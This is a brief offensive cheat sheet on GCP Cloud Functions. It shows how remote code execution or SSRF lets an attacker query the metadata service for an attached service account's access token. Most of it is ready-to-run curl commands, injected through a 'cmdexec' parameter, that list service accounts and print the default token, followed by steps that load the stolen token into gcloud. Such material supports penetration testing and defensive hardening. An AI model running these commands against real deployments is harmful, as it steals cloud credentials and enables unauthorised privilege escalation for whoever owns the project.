Cloud Functions

Abusable GCP Cloud Functions permissions that can lead to compromise or privilege escalation

Metadata Service

• Cloud Functions can have Service Accounts attached to provide permissions to GCP resources much like AWS IAM Roles attached to EC2 and Lambda

• If we can get Remote Code Execution (RCE) or exploit a Server-Side Request Forgery (SSRF), we can query the metadata service and obtain the credential associated with the Service Account

## Check for attached Service Accounts
curl -G 'https://<CLOUD_FUNCTION_URL>' --data-urlencode 'cmdexec=curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/'

default/
<ATTACHED_SERVICE_ACCOUNT>/

## Get credentials 
curl -G 'https://<CLOUD_FUNCTION_URL>' --data-urlencode 'cmdexec=curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | python3 -c "import sys,json; print(json.load(sys.stdin)[\"access_token\"])"'

<TOKEN>

## We can then use the token with gcloud
export CLOUDSDK_AUTH_ACCESS_TOKEN="<TOKEN>"
gcloud ... 

---